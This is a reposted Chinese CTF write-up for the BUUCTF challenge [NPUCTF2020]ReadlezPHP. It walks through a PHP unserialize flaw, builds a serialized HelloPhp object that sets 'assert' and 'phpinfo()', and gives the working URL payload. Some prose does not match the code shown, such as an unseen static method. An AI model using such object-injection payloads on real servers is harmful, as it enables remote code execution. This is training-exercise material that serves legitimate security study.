欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 财经 > 创投人物 > 2.buuctf [NPUCTF2020]ReadlezPHP(类与对象、类的属性、序列化、代码复用与封装)

2.buuctf [NPUCTF2020]ReadlezPHP(类与对象、类的属性、序列化、代码复用与封装)

2025/2/13 2:59:01 来源:https://blog.csdn.net/2401_86760082/article/details/145557665  浏览:    关键词:2.buuctf [NPUCTF2020]ReadlezPHP(类与对象、类的属性、序列化、代码复用与封装)

进入题目页面如下

哎呦,有趣哈

ctrl+u查看源码,下拉看到

点进去看看

看到源码

开始审代码

<?php
// #error_reporting(0); 这行代码被注释掉了,原本的作用是关闭所有PHP错误报告
// 定义一个名为 HelloPhp 的类
class HelloPhp
{// 声明一个公共属性 $apublic $a;// 声明一个公共属性 $bpublic $b;// 定义构造函数,当创建该类的对象时会自动调用public function __construct(){// 给属性 $a 赋值为日期格式字符串 "Y-m-d h:i:s"$this->a = "Y-m-d h:i:s";// 给属性 $b 赋值为字符串 "date"$this->b = "date";}// 定义析构函数,当对象被销毁时会自动调用public function __destruct(){// 将属性 $a 的值赋给局部变量 $a$a = $this->a;// 将属性 $b 的值赋给局部变量 $b$b = $this->b;// 以 $a 为参数调用 $b 所代表的函数,并输出结果// 这里 $b 是 "date",$a 是 "Y-m-d h:i:s",相当于调用 date("Y-m-d h:i:s")echo $b($a);}
}// 创建 HelloPhp 类的一个对象,并赋值给变量 $c
$c = new HelloPhp;// 检查是否通过 GET 请求传递了名为 source 的参数
if (isset($_GET['source'])) {// 如果传递了 source 参数,使用 highlight_file 函数高亮显示当前文件的源代码highlight_file(__FILE__);// 终止脚本执行,返回状态码 0die(0);
}// 尝试对通过 GET 请求传递的名为 data 的参数进行反序列化操作
// @ 符号用于抑制可能出现的错误信息
@$ppp = unserialize($_GET["data"]);

代码通过 unserialize($_GET["data"]) 对用户输入的 data 参数进行反序列化操作,且没有对输入进行严格的验证和过滤。同时,HelloPhp 类中的 __destruct() 方法会将对象的属性 $b 作为函数名,$a 作为参数进行调用

可以构造恶意的序列化字符串,通过修改 $b$a 的值,让 __destruct() 方法调用危险函数(如 systemexec 等),从而在服务器上执行任意系统命令

构造一个恶意的 HelloPhp 类对象的序列化字符串,将 $b 设置为 system 函数,$a 设置为读取 flag 文件的命令(假设 flag 文件名为 flag.txt),然后将该序列化字符串作为 data 参数传递给程序进行反序列化,利用 __destruct() 方法执行命令获取 flag


构造恶意对象

<?php
class HelloPhp
{public $a = 'phpinfo()';public $b = 'assert';
}function serializeHelloPhp() {$c = new HelloPhp;return serialize($c);
}echo serializeHelloPhp();

可以使用下面这个在线工具运行代码

php在线运行,在线工具,在线编译IDE_w3cschool

结果:

O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

将生成的序列化字符串作为 data 参数传递给目标 PHP 文件

当服务器对该序列化字符串进行反序列化时,__destruct() 方法会执行 命令,从而输出 flag 文件的内容

构造payload

?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

 ctrl+F查找flag

最终得到flag


知识点

类与对象

类的定义:在 PHP 中,使用 class 关键字来定义类。类是一种用户自定义的数据类型,它封装了数据(属性)和操作这些数据的方法。例如,代码中的 HelloPhp

class HelloPhp
{public $a = 'phpinfo()';public $b = 'assert';
}

定义了一个名为 HelloPhp 的类,其中包含两个公共属性 $a$b,并分别赋予了初始值。

对象的创建:通过使用 new 关键字可以创建类的实例,也就是对象

$c = new HelloPhp;

代码创建了 HelloPhp 类的一个对象,并将其赋值给变量 $c

类的属性

属性的声明:在类中,可以使用 publicprivateprotected 等访问修饰符来声明属性。public 表示该属性可以在类的外部直接访问;private 表示该属性只能在类的内部访问;protected 表示该属性可以在类的内部以及继承该类的子类中访问。在上述代码中,$a$b 都是 public 属性。

属性的初始化:可以在声明属性时为其赋予初始值,如 public $a = 'phpinfo()'; 这样,在创建对象时,属性就会被初始化为指定的值。

序列化

序列化的概念:序列化是将对象的状态信息转换为可以存储或传输的形式的过程。在 PHP 中,使用 serialize() 函数可以将对象序列化为一个字符串。这个字符串包含了对象的类名、属性及其值等信息

echo(serialize($c));

这行代码将 $c 所代表的 HelloPhp 类的对象进行序列化,并将序列化后的字符串输出

反序列化:与序列化相反,反序列化是将序列化后的字符串转换回对象的过程,使用 unserialize() 函数实现

$newObj = unserialize(serialize($c));

这里先对 $c 进行序列化,然后再进行反序列化,得到一个新的对象 $newObj,其状态与 $c 相同

代码复用与封装

函数封装:将一些重复的操作封装到函数中,可以提高代码的复用性和可维护性。将创建对象、序列化和输出操作封装到 serializeHelloPhp() 函数中,这样在需要进行相同操作时,只需调用该函数即可

静态方法:在类中定义静态方法,可以通过类名直接调用,而不需要创建类的对象。在 HelloPhp 类中添加了静态方法 getSerialized(),可以通过 HelloPhp::getSerialized() 来获取序列化后的字符串,将相关操作封装在类内部,增强了代码的封装性

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com